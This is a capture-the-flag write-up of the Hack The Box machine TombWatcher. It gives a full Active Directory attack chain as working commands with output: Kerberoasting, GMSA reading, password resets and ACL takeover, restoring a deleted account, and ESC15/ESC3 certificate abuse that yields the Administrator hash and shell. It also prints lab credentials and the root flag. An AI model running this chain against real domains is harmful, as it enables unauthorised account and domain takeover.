Overview

The machine starts by targeted Kerberoasting a writable SPN account to get a cracked hash, using that foothold to join a privileged group and read a GMSA password, which has ForceChangePassword over another account, this account holds WriteOwner over a third user that gets chained into a password reset to get shell as a low-privileged domain user. From there generic all over an ADCS OU leads to recovering a deleted cert_admin account from the AD Recycle Bin, whose enrollment rights on a vulnerable v1 certificate template are abused via ESC15 (Certificate Request Agent injection) to get a certificate on behalf of Administrator and get shell as NT AUTHORITY\SYSTEM.

Enumeration

looking at the results, there is a lot to be considered here

  • target is definitely AD environment
    • there is DNS, HTTP, Kerberos, SMB, LDAP, Kpasswd, some RPC
  • domain name is tombwatcher.htb and FQDN is DC01.tombwatcher.htb
  • there is AD CS in place with the CA tmbwatcher-CA-1
  • 4 hours clock skew to consider with kerberos

Setup the environment

bash
┌─[]─[10.10.16.83]─[jimmex@attacker]─[~/htb/labs/TombWatcher]
└──╼ [★]$ echo '10.129.18.114 DC01 DC01.tombwatcher.htb tombwatcher.htb' | sudo tee -a /etc/hosts
10.129.18.114 DC01 DC01.tombwatcher.htb tombwatcher.htb
┌─[]─[10.10.16.83]─[jimmex@attacker]─[~/htb/labs/TombWatcher]
└──╼ [★]$ sudo ntpdate DC01.tombwatcher.htb 
2026-06-18 21:16:18.688563 (-0700) +14399.667720 +/- 0.037326 DC01.tombwatcher.htb 10.129.18.114 s1 no-leap
CLOCK: time stepped by 14399.667720
┌─[]─[10.10.16.83]─[jimmex@attacker]─[~/htb/labs/TombWatcher]
└──╼ [★]$ nxc smb 10.129.18.114 -u '' -p '' --generate-krb5-file krb5.conf
SMB 10.129.18.114 445 DC01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:tombwatcher.htb) (signing:True) (SMBv1:None) (Null Auth:True)
SMB 10.129.18.114 445 DC01 [+] krb5 conf saved to: krb5.conf
SMB 10.129.18.114 445 DC01 [+] Run the following command to use the conf file: export KRB5_CONFIG=krb5.conf
SMB 10.129.18.114 445 DC01 [+] tombwatcher.htb\:
┌─[]─[10.10.16.83]─[jimmex@attacker]─[~/htb/labs/TombWatcher]
└──╼ [★]$ sudo mv krb5.conf /etc/krb5.conf 

for this machine we're given this

As is common in real life Windows pentests, you will start the TombWatcher box with credentials for the following account: henry / H3nry_987TGV!

Starting As Henry

lets start with SMB just a standard shares nothing special

bash
┌─[]─[10.10.16.83]─[jimmex@attacker]─[~/htb/labs/TombWatcher]
└──╼ [★]$ nxc smb tombwatcher.htb -u henry -p 'H3nry_987TGV!' --shares
SMB 10.129.18.114 445 DC01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:tombwatcher.htb) (signing:True) (SMBv1:None) (Null Auth:True)
SMB 10.129.18.114 445 DC01 [+] tombwatcher.htb\henry:H3nry_987TGV!
SMB 10.129.18.114 445 DC01 [*] Enumerated shares
SMB 10.129.18.114 445 DC01 Share Permissions Remark
SMB 10.129.18.114 445 DC01 ----- ----------- ------
SMB 10.129.18.114 445 DC01 ADMIN$ Remote Admin
SMB 10.129.18.114 445 DC01 C$ Default share
SMB 10.129.18.114 445 DC01 IPC$ READ Remote IPC
SMB 10.129.18.114 445 DC01 NETLOGON READ Logon server share
SMB 10.129.18.114 445 DC01 SYSVOL READ Logon server share

there isn't a lot of users on this box, or maybe those are the ones that we only can read

bash
┌─[]─[10.10.16.83]─[jimmex@attacker]─[~/htb/labs/TombWatcher]
└──╼ [★]$ nxc ldap tombwatcher.htb -u henry -p 'H3nry_987TGV!' --users-export users.txt
LDAP 10.129.18.114 389 DC01 [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:tombwatcher.htb) (signing:None) (channel binding:Never)
LDAP 10.129.18.114 389 DC01 [+] tombwatcher.htb\henry:H3nry_987TGV!
LDAP 10.129.18.114 389 DC01 [*] Enumerated 7 domain users: tombwatcher.htb
LDAP 10.129.18.114 389 DC01 -Username- -Last PW Set- -BadPW- -Description-
LDAP 10.129.18.114 389 DC01 Administrator 2025-04-25 07:56:03 0 Built-in account for administering the computer/domain
LDAP 10.129.18.114 389 DC01 Guest < never> 0 Built-in account for guest access to the computer/domain
LDAP 10.129.18.114 389 DC01 krbtgt 2024-11-15 16:02:28 0 Key Distribution Center Service Account
LDAP 10.129.18.114 389 DC01 Henry 2025-05-12 08:17:03 0
LDAP 10.129.18.114 389 DC01 Alfred 2025-05-12 08:17:03 0
LDAP 10.129.18.114 389 DC01 sam 2025-05-12 08:17:03 0
LDAP 10.129.18.114 389 DC01 john 2025-05-19 06:25:10 0
LDAP 10.129.18.114 389 DC01 [*] Writing 7 local users to users.txt

collect data for bloodhound

Alfred User

looking at the bloodhound the user we got have WriteSPN edge over the user alfred meaning we can do targetedKerberoasting over that user Pasted image 20260619055132.png there is the Kerberoasting where we abuse the idea of service accounts with SPNs to get a hash and crack it, and there is the targeted one where we have write access over a user one way or another so we add an SPN to it then do the Kerberoasting

we can do it manually but we can do it also in one shot using targetedkerberoast.py from shutdown repo

bash
┌─[]─[10.10.16.83]─[jimmex@attacker]─[~/htb/labs/TombWatcher]
└──╼ [★]$ python3 /opt/scripts/targetedKerberoast/targetedKerberoast.py -u 'alfred' -d tombwatcher.htb --dc-host dc01.tombwatcher.htb -u henry -p 'H3nry_987TGV!' --dc-ip 10.129.18.114
[*] Starting kerberoast attacks
[*] Fetching usernames from Active Directory with LDAP
[+] Printing hash for (Alfred)
$krb5tgs$23$*Alfred$TOMBWATCHER.HTB$tombwatcher.htb/Alfred*$847e09204c818a930b7d226f5f4d4556$a6e97b5dc8d5b41e4eda801577e527564b1aea21987622c2d5469be4f92bd6209ac7272680287079ca88888453f8fa0363fac20f5defc45a613db7c9fb1057765a31f64231fc362c6e85648d30a6892739a4c958de4020fea0555aa6df148e18b2a93967c70d4493ca4654070ffcf80b28f7229dc1540ae95e54631f9f52962e9def73a4db4ddd09f5671a18375764332431fc2a4d5cc47e4f1b08aeb114436436939f5238ac27e32c08332db961413edc34a963ae7a2652f8160fd556bdc20c8d61cde9f56d38d156a61fb17eec9c741fce76d823b98c02ffd56126005b5c0733a333b23312821caeee7c37d899e78df4ade33be795256acb92be16e98eddecea30de5af2c963cd5f971e5c2a14bd9ffc6569d4f0cd8a8e48284eb27c6b2da6b34bf5385d02190e0f70a600e23b09f2bdb0a2cc09990340922948595f155240f208cacbb67021969ce0e786153d0b68c1bed4dcc8e75a72b12c18edcc615c0d2541f3f7242a2c8d3e5240994bc9c5be5b15d177c1f28ecc3f07c60e606523e95999993aaee28c37ad4786b1948846e88f4af0d98987e373e382dbb30c00604507089d92fe4579c36b3cf8363e1fb96fe92afeb8b38d9e6e402def98d95744db32a6fd822fe44572b667efa587439b655e36b43647dc7c6669a67999a6642deb92064a600a6ac711a0b5455df44dfd05554a38189ae455027e7424df4294965674238819786a83255d59685cfa2032d56dbf4fc049814e857687579b0cf123cc1c5b400b4dc68af6cdc2dd65bbd299905843b6e2254a403830f9242de0da9120d802e2f855dce832e6d3512b0a8590fba095de6a3d4dac84b7d0fcac77af5b739b09ef7235e909526238ea313e2a41b78193a3f40cdc8acabda3cab628abc07b4444613719d9d22afeac88c367b77152d18dbad00d77a712f874026f4e038f6cb36e1abe88b42d8d1f906b4760d40b972fb3183c4a6d568a39ebf7c01926bb0c370da75937cfcc4a7cadace9907b17427249c39b4e003211a2f932d9a384effbb66448ce7092a3d94e9623dbacec78daa65181827513333eb3bd51e33a6b108467acb9c6746b5c302fda23400b506dc7043f915ab2072f77f4cdaf4f04f45ef5dfdda2615df330c935b4068595299fd8431a35be250148ecee83d6517f094ba3cb8283b2c49eadf7d7689bd832b88877b7eadf5045b7e4686f770fdda9204e50a071b05d79b355dcd51828dcd2fa14db6954c56e4503e673dbe2f3222a47b8ee781c2bc057e35cfe846b284c179ba3f99b7321ae1895c558045bb110823fe1a945adc595b8f0cd43b9209d1613e63c635a6ab01aa3e40b71a407885e907293a55b65297e781d275467c3e8607c6b88ee9a913f1dbc29f1e497e0c0ba436a9ba5d41972586661c7b7d8688b94bcbdcfa7d3613eee66293f2b36bffc578e60dfaef9cda49c073ae80051767e89980da9cbcac0db5df1

write the hash into a file then use hashcat to crack it, and we got the password basketball

listing users through rid brute shows one more user which is ansible_dev

Infrastructure Group

got stuck here for a while so I ended up recollecting data again for bloodhound, doing it from rusthound made no difference but when i used the python ingestor there was one more outbound object control we can add ourselves to the Infrastructure group but I have no idea why it didn't show at rusthound results, it didn't even show in bloody ad either

bash
┌─[]─[10.10.16.83]─[jimmex@attacker]─[~/htb/labs/TombWatcher]
└──╼ [★]$ bloodhound-ce-python -d tombwatcher.htb -u alfred@tombwatcher.htb -p basketball --zip -c All --dns-tcp --nameserver 10.129.18.116
INFO: BloodHound.py for BloodHound Community Edition
INFO: Found AD domain: tombwatcher.htb
INFO: Getting TGT for user
INFO: Connecting to LDAP server: dc01.tombwatcher.htb
INFO: Testing resolved hostname connectivity dead:beef::f904:7d14:dfa8:686c
INFO: Trying LDAP connection to dead:beef::f904:7d14:dfa8:686c
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 1 computers
INFO: Connecting to LDAP server: dc01.tombwatcher.htb
INFO: Testing resolved hostname connectivity dead:beef::f904:7d14:dfa8:686c
INFO: Trying LDAP connection to dead:beef::f904:7d14:dfa8:686c
INFO: Found 9 users
INFO: Found 53 groups
INFO: Found 2 gpos
INFO: Found 2 ous
INFO: Found 19 containers
INFO: Found 0 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer: DC01.tombwatcher.htb
INFO: Done in 00M 35S
INFO: Compressing output into 20260618220508_bloodhound.zip

Pasted image 20260619055341.png it shows on bloodyAD but on the group object not the user which makes sense, but there is no way i might've looked there without bloodhound I mean I found out earlier that I need to be in the Infrastructure group cause it got an interesting ACL that i needed but anyway lets move on

and added ourselves to the Infrastructure group

bash
┌─[]─[10.10.16.83]─[jimmex@attacker]─[~/htb/labs/TombWatcher]
└──╼ [★]$ bloodyAD --host 10.129.18.116 -d tombwatcher.htb -u alfred -p basketball add groupMember Infrastructure alfred
[+] alfred added to Infrastructure

Ansible_dev Computer

now look at this very nice chain once we added ourselves to the Infrastructure group Pasted image 20260619055726.png the infrastructure group can readGMSA over the ansible_dev account we found earlier so lets read it Pasted image 20260619055751.png as you can see we got the hash for the ansible_dev

bash
┌─[]─[10.10.16.83]─[jimmex@attacker]─[~/htb/labs/TombWatcher]
└──╼ [★]$ nxc ldap tombwatcher.htb -u alfred -p basketball --gmsa
LDAP 10.129.18.116 389 DC01 [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:tombwatcher.htb) (signing:None) (channel binding:Never)
LDAP 10.129.18.116 389 DC01 [+] tombwatcher.htb\alfred:basketball
LDAP 10.129.18.116 389 DC01 [*] Getting GMSA Passwords
LDAP 10.129.18.116 389 DC01 Account: ansible_dev$ NTLM: b91f529d36292ba764273e5dd7b90fa1 PrincipalsAllowedToReadPassword: Infrastructure

Sam User

the ansible_dev account got ForceChangePassword over Sam account meaning we can change his password without the need of the old password, now we have the hash we can do PTH and change the password Pasted image 20260619055959.png as you can see we changed the password

bash
┌─[]─[10.10.16.83]─[jimmex@attacker]─[~/htb/labs/TombWatcher]
└──╼ [★]$ bloodyAD --host 10.129.18.116 -d tombwatcher.htb -u ansible_dev$ -p :b91f529d36292ba764273e5dd7b90fa1 set password SAM 'Password123!'
[+] Password changed successfully!

Shell as John

having Sam's account meaning we have write owner over john's account if we have write owner over that account, then we can add ourselves as the owner then we can give ourselves any permission we need over the account and do something like shadow credential or something Pasted image 20260619055900.png

and as you can see we changed the old owner which was the Domain Admins group to be us now

bash
┌─[]─[10.10.16.83]─[jimmex@attacker]─[~/htb/labs/TombWatcher]
└──╼ [★]$ owneredit.py tombwatcher.htb/sam:'Password123!' -target john -new-owner sam -dc-ip 10.129.18.116 -action write
Impacket v0.14.0.dev0+20260407.172353.7fc084ad - Copyright Fortra, LLC and its affiliated companies

[*] Current owner information below
[*] - SID: S-1-5-21-1392491010-1358638721-2126982587-512
[*] - sAMAccountName: Domain Admins
[*] - distinguishedName: CN=Domain Admins,CN=Users,DC=tombwatcher,DC=htb
[*] OwnerSid modified successfully!

now we have full control over the account

bash
┌─[]─[10.10.16.83]─[jimmex@attacker]─[~/htb/labs/TombWatcher]
└──╼ [★]$ dacledit.py tombwatcher.htb/sam:'Password123!' -dc-ip 10.129.18.116 -principal sam -target john -action write -rights FullControl
Impacket v0.14.0.dev0+20260407.172353.7fc084ad - Copyright Fortra, LLC and its affiliated companies

[*] DACL backed up to dacledit-20260618-222540.bak
[*] DACL modified successfully!

trying to do shadow creds (there is ADCS remember!) didn't workout so lets just change the password then

bash
┌─[]─[10.10.16.83]─[jimmex@attacker]─[~/htb/labs/TombWatcher]
└──╼ [★]$ certipy shadow auto -dc-ip 10.129.18.116 -u sam -p 'Password123!' -account john
Certipy v5.0.4 - by Oliver Lyak (ly4k)

[*] Targeting user 'john'
[*] Generating certificate
[*] Certificate generated
[*] Generating Key Credential
[*] Key Credential generated with DeviceID 'e88786c053904a7ba7436f56ee827a4b'
[*] Adding Key Credential with device ID 'e88786c053904a7ba7436f56ee827a4b' to the Key Credentials for 'john'
[*] Successfully added Key Credential with device ID 'e88786c053904a7ba7436f56ee827a4b' to the Key Credentials for 'john'
[*] Authenticating as 'john' with the certificate
[*] Certificate identities:
[*]     No identities found in this certificate
[*] Using principal: 'john@tombwatcher.htb'
[*] Trying to get TGT...
[-] Got error while trying to request TGT: Kerberos SessionError: KDC_ERR_PADATA_TYPE_NOSUPP(KDC has no support for padata type)
[-] Use -debug to print a stacktrace
[-] See the wiki for more information
[*] Restoring the old Key Credentials for 'john'
[*] Successfully restored the old Key Credentials for 'john'
[*] NT hash for 'john': None

and we changed the password for john

bash
┌─[]─[10.10.16.83]─[jimmex@attacker]─[~/htb/labs/TombWatcher]
└──╼ [★]$ bloodyAD --host 10.129.18.116 -d tombwatcher.htb -u sam -p 'Password123!' set password john 'Password123!'
[+] Password changed successfully!

john is member of Remote Management Users meaning we can winrm in so lets do that

and we got user ss_20260618_223117.png and just because there is ADCS in place, I always run SharpHound cause it is the best when dealing with certificates

Lateral Movement

ADCS OU

looking at the bloodhound again john got generic all over the entire ADCS OU Pasted image 20260619060114.png

so What I am gonna do, I will get Full control over the OU then run for vulnerable templates

now we have full control over the OU lets find vulnerable templates

bash
┌─[]─[10.10.16.83]─[jimmex@attacker]─[~/htb/labs/TombWatcher]
└──╼ [★]$ dacledit.py tombwatcher.htb/john:'Password123!' -dc-ip 10.129.18.116 -principal john -target-dn 'OU=ADCS,DC=TOMBWATCHER,DC=HTB' -action write -rights FullControl -inheritance
Impacket v0.14.0.dev0+20260407.172353.7fc084ad - Copyright Fortra, LLC and its affiliated companies

[*] NB: objects with adminCount=1 will no inherit ACEs from their parent container/OU
[*] DACL backed up to dacledit-20260618-224251.bak
[*] DACL modified successfully!

using --vulnerable to list the vulnerable templates only got us nothing so i decided to list all templates the bloodhound shows that we can enroll in 4 different templates but looking at certipy there is only one template that we can enroll in which is Machine template we can't even enroll as John but as Domain Computers (we got ansible_dev)

I decided to list all children in the domain, maybe bloodhound is tripping and doesn't show children for that OU but there is actually some children for it or something

Cert_Admin Account

there is AD Recycle bin group and a deleted user called cert_admin which i bet he was in the ADCS Container

plaintext
distinguishedName: CN=cert_admin\0ADEL:f80369c8-96a2-4a7f-a56c-9c15edd7d1e3,CN=Deleted Objects,DC=tombwatcher,DC=htb

distinguishedName: CN=BCKUPKEY_765b4ab1-bf28-4378-988f-f0228d35c5df Secret,CN=System,DC=tombwatcher,DC=htb

distinguishedName: CN=BCKUPKEY_P Secret,CN=System,DC=tombwatcher,DC=htb

distinguishedName: CN=BCKUPKEY_c6e1e41c-ab6b-4c52-b66b-d424e30d36f9 Secret,CN=System,DC=tombwatcher,DC=htb

distinguishedName: CN=BCKUPKEY_PREFERRED Secret,CN=System,DC=tombwatcher,DC=htb

distinguishedName: CN=cert_admin\0ADEL:c1f1f0fe-df9c-494c-bf05-0679e181b358,CN=Deleted Objects,DC=tombwatcher,DC=htb

distinguishedName: CN=cert_admin\0ADEL:938182c3-bf0b-410a-9aaa-45c8e1a02ebf,CN=Deleted Objects,DC=tombwatcher,DC=htb

but because there is multiple instances we need to know which one got the lastKnownParent to be something we control

all has their lastKnownParent to be the ADCS OU (even without that we can set it explicitly cause we got FullAccess over the OU we can set it as parent for them i guess) so i will just restore the most recent deleted one

now this object is restored

bash
┌─[]─[10.10.16.83]─[jimmex@attacker]─[~/htb/labs/TombWatcher]
└──╼ [★]$ bloodyAD -u john -p 'Password123!' -d tombwatcher.htb --host 10.129.18.116 set restore "CN=cert_admin\0ADEL:938182c3-bf0b-410a-9aaa-45c8e1a02ebf,CN=Deleted Objects,DC=tombwatcher,DC=htb"
[+] CN=cert_admin\0ADEL:938182c3-bf0b-410a-9aaa-45c8e1a02ebf,CN=Deleted Objects,DC=tombwatcher,DC=htb has been restored successfully under CN=cert_admin,OU=ADCS,DC=tombwatcher,DC=htb

and now we have write over that account (bloodyAD even shows the non-deleted one, so if i checked bloodyAD back then I didn't have to go through all that ADCS stuff, that's kinda cool)

bloodyAD messed something up, I really liked using it lately with deleted object but it fucked me over also in freelancer box so i just gotta learn my lesson shifting to shell as John and trying to list that user still shows that it doesn't exist so lets restore it now from the shell

plaintext
*Evil-WinRM* PS C:\Users\john\Documents> Get-ADUser cert_admin
Cannot find an object with identity: 'cert_admin' under: 'DC=tombwatcher,DC=htb'.
At line:1 char:1
+ Get-ADUser cert_admin
+ ~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : ObjectNotFound: (cert_admin:ADUser) [Get-ADUser], ADIdentityNotFoundException
    + FullyQualifiedErrorId : ActiveDirectoryCmdlet:Microsoft.ActiveDirectory.Management.ADIdentityNotFoundException,Microsoft.ActiveDirectory.Management.Commands.GetADUser

now it is back showing that user exists so lets change password

bash
*Evil-WinRM* PS C:\Users\john\Documents> Restore-ADObject -Identity 938182c3-bf0b-410a-9aaa-45c8e1a02ebf
*Evil-WinRM* PS C:\Users\john\Documents> Get-ADUser cert_admin


DistinguishedName : CN=cert_admin,OU=ADCS,DC=tombwatcher,DC=htb
Enabled : True
GivenName : cert_admin
Name : cert_admin
ObjectClass : user
ObjectGUID : 938182c3-bf0b-410a-9aaa-45c8e1a02ebf
SamAccountName : cert_admin
SID : S-1-5-21-1392491010-1358638721-2126982587-1111
Surname : cert_admin
UserPrincipalName :

and as you can see now the password change worked (so it was definetly error with bloodyAD)

bash
┌─[]─[10.10.16.83]─[jimmex@attacker]─[~/htb/labs/TombWatcher]
└──╼ [★]$ bloodyAD --host 10.129.18.116 -d tombwatcher.htb -u john -p 'Password123!' set password cert_admin 'Password123!'
[+] Password changed successfully!

Now because we got user called cert_admin, lets rerun the certipy search again

now back to be invalid

bash
┌─[]─[10.10.16.83]─[jimmex@attacker]─[~/htb/labs/TombWatcher]
└──╼ [★]$ certipy find -dc-ip 10.129.18.116 -u 'cert_admin' -p 'Password123!' -vulnerable
Certipy v5.0.4 - by Oliver Lyak (ly4k)

[-] LDAP NTLM authentication failed: {'result': 49, 'description': 'invalidCredentials', 'dn': '', 'message': '8009030C: LdapErr: DSID-0C0907FC, comment: AcceptSecurityContext error, data 52e, v4563\x00', 'referrals': None, 'saslCreds': None, 'type': 'bindResponse'}
[-] Got error: Kerberos authentication failed: {'result': 49, 'description': 'invalidCredentials', 'dn': '', 'message': '8009030C: LdapErr: DSID-0C0907FC, comment: AcceptSecurityContext error, data 52e, v4563\x00', 'referrals': None, 'saslCreds': None, 'type': 'bindResponse'}
[-] Use -debug to print a stacktrace

now checking the user from the shell back to the error it doesn't exist so maybe there is a script deleting it continously and we have to do this fast maybe

plaintext
*Evil-WinRM* PS C:\Users\john\Documents> Get-ADUser cert_admin
Cannot find an object with identity: 'cert_admin' under: 'DC=tombwatcher,DC=htb'.
At line:1 char:1
+ Get-ADUser cert_admin
+ ~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : ObjectNotFound: (cert_admin:ADUser) [Get-ADUser], ADIdentityNotFoundException
    + FullyQualifiedErrorId : ActiveDirectoryCmdlet:Microsoft.ActiveDirectory.Management.ADIdentityNotFoundException,Microsoft.ActiveDirectory.Management.Commands.GetADUser

ESC15

(sorry bloodyAD didn't mean to !!!!!) as you can see it was some kinda of script but when i did that fast enough it worked

bash
┌─[]─[10.10.16.83]─[jimmex@attacker]─[~/htb/labs/TombWatcher]
└──╼ [★]$ certipy find -dc-ip 10.129.18.116 -u 'cert_admin' -p 'Password123!' -vulnerable
Certipy v5.0.4 - by Oliver Lyak (ly4k)

[*] Finding certificate templates
[*] Found 33 certificate templates
[*] Finding certificate authorities
[*] Found 1 certificate authority
[*] Found 11 enabled certificate templates
[*] Finding issuance policies
[*] Found 13 issuance policies
[*] Found 0 OIDs linked to templates
[*] Retrieving CA configuration for 'tombwatcher-CA-1' via RRP
[!] Failed to connect to remote registry. Service should be starting now. Trying again...
[*] Successfully retrieved CA configuration for 'tombwatcher-CA-1'
[*] Checking web enrollment for CA 'tombwatcher-CA-1' @ 'DC01.tombwatcher.htb'
[!] Error checking web enrollment: timed out
[!] Use -debug to print a stacktrace
[*] Saving text output to '20260618232625_Certipy.txt'
[*] Wrote text output to '20260618232625_Certipy.txt'
[*] Saving JSON output to '20260618232625_Certipy.json'
[*] Wrote JSON output to '20260618232625_Certipy.json'

the template WebServer is vulnerable to ESC15 so lets abuse that

what is ESC15's core issue? Normally, v1 templates are supposed to ignore any client-supplied EKU/application policy in the CSR the EKU is hardcoded by the template but ESC15 found that this isn't actually true: a v1 template can still have a CSR with a custom Certificate Application Policy extension (not the normal EKU extension) injected, and the CA will honor it.

This means even a "safe" v1 template with default EKUs can be abused to:

  • Request a cert with Client Authentication policy injected, even though the template doesn't intend to allow that
  • Combine this with a Subject Alternative Name (if ENROLLEE_SUPPLIES_SUBJECT is set, or via other means) to impersonate any user/admin, effectively achieving ESC1-style impersonation through a template that wouldn't normally be flagged as vulnerable

Method 1: Direct Client Authentication via SAN

first request a certificate

bash
┌─[]─[10.10.16.83]─[jimmex@attacker]─[~/htb/labs/TombWatcher]
└──╼ [★]$ certipy req -u 'cert_admin@tombwatcher.htb' -p 'Password123!' -dc-ip 10.129.18.116 -target 10.129.18.116 -ca 'tombwatcher-CA-1' -template 'WebServer' -upn 'administrator@tombwatcher.htb' -sid 'S-1-5-21-1392491010-1358638721-2126982587-500' -application-policies 'Client Authentication'
Certipy v5.0.4 - by Oliver Lyak (ly4k)

[*] Requesting certificate via RPC
[*] Request ID is 4
[*] Successfully requested certificate
[*] Got certificate with UPN 'administrator@tombwatcher.htb'
[*] Certificate object SID is 'S-1-5-21-1392491010-1358638721-2126982587-500'
[*] Saving certificate and private key to 'administrator.pfx'
[*] Wrote certificate and private key to 'administrator.pfx'

but trying to authenticate didn't work, so lets try the other method

bash
┌─[]─[10.10.16.83]─[jimmex@attacker]─[~/htb/labs/TombWatcher]
└──╼ [★]$ certipy auth -pfx administrator.pfx -dc-ip 10.129.18.116
Certipy v5.0.4 - by Oliver Lyak (ly4k)

[*] Certificate identities:
[*]     SAN UPN: 'administrator@tombwatcher.htb'
[*]     SAN URL SID: 'S-1-5-21-1392491010-1358638721-2126982587-500'
[*]     Security Extension SID: 'S-1-5-21-1392491010-1358638721-2126982587-500'
[*] Using principal: 'administrator@tombwatcher.htb'
[*] Trying to get TGT...
[-] Certificate is not valid for client authentication
[-] Check the certificate template and ensure it has the correct EKU(s)
[-] If you recently changed the certificate template, wait a few minutes for the change to propagate
[-] See the wiki for more information

Method 2: Certificate Request Agent (Enrollment Agent) abuse

instead of us impersonating directly, we inject the Certificate Request agent application policy which makes the resulting certificate function as enrollment agent so we'll just abuse it as if it is ESC3

bash
┌─[]─[10.10.16.83]─[jimmex@attacker]─[~/htb/labs/TombWatcher]
└──╼ [★]$ certipy req -u 'cert_admin@tombwatcher.htb' -p 'Password123!' -dc-ip 10.129.18.116 -target 10.129.18.116 -ca 'tombwatcher-CA-1' -template 'WebServer' -application-policies 'Certificate Request Agent'
Certipy v5.0.4 - by Oliver Lyak (ly4k)

[*] Requesting certificate via RPC
[*] Request ID is 4
[*] Successfully requested certificate
[*] Got certificate with UPN 'administrator@tombwatcher.htb'
[*] Certificate object SID is 'S-1-5-21-1392491010-1358638721-2126982587-500'
[*] Saving certificate and private key to 'administrator.pfx'
[*] Wrote certificate and private key to 'administrator.pfx'

now lets ESC3 it requesting on behalf of administrator

bash
┌─[]─[10.10.16.83]─[jimmex@attacker]─[~/htb/labs/TombWatcher]
└──╼ [★]$ certipy req -u cert_admin -p 'Password123!' -dc-ip 10.129.18.116 -target dc01.tombwatcher.htb -ca tombwatcher-CA-1 -template User -pfx administrator.pfx -on-behalf-of 'tombwatcher\Administrator'
Certipy v5.0.4 - by Oliver Lyak (ly4k)

[*] Requesting certificate via RPC
[*] Request ID is 11
[*] Successfully requested certificate
[*] Got certificate with UPN 'Administrator@tombwatcher.htb'
[*] Certificate object SID is 'S-1-5-21-1392491010-1358638721-2126982587-500'
[*] Saving certificate and private key to 'administrator.pfx'
File 'administrator.pfx' already exists. Overwrite? (y/n - saying no will save with a unique filename): y
[*] Wrote certificate and private key to 'administrator.pfx'

and finally we got the hash for the administrator

bash
┌─[]─[10.10.16.83]─[jimmex@attacker]─[~/htb/labs/TombWatcher]
└──╼ [★]$ certipy auth -pfx administrator.pfx -dc-ip 10.129.18.116
Certipy v5.0.4 - by Oliver Lyak (ly4k)

[*] Certificate identities:
[*]     SAN UPN: 'Administrator@tombwatcher.htb'
[*]     Security Extension SID: 'S-1-5-21-1392491010-1358638721-2126982587-500'
[*] Using principal: 'administrator@tombwatcher.htb'
[*] Trying to get TGT...
[*] Got TGT
[*] Saving credential cache to 'administrator.ccache'
[*] Wrote credential cache to 'administrator.ccache'
[*] Trying to retrieve NT hash for 'administrator'
[*] Got hash for 'administrator@tombwatcher.htb': aad3b435b51404eeaad3b435b51404ee:f61db423bebe3328d33af26741afe5fc

and we got root

bash
┌─[]─[10.10.16.83]─[jimmex@attacker]─[~/htb/labs/TombWatcher]
└──╼ [★]$ evil-winrm -i 10.129.18.116 -u administrator -H f61db423bebe3328d33af26741afe5fc

Evil-WinRM shell v3.5

Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine

Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion

Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents> type ../Desktop/root.txt
6c43626f0036cc304e7171be86390395
*Evil-WinRM* PS C:\Users\Administrator\Documents>

Beyond root

something i noticed while looking at the data after doing the box the WebServer Template which is vulnerable to ESC15 wasn't configured to have the sAMAccountName=cert_admin to enroll in it instead it had this Pasted image 20260619061825.png

meaning this is linked by the SID, and I were very lucky that the object i restored cause it was recently deleted was the one with that SID 1111 other wise it wouldn't have shown this ESC15 abusing thing

meaning we should've checked the templates list first to find if there is a specific ID can enroll in it, and here you can find the difference

this one shows the SID but the one after restoring the user shows Cert_admin only

Resources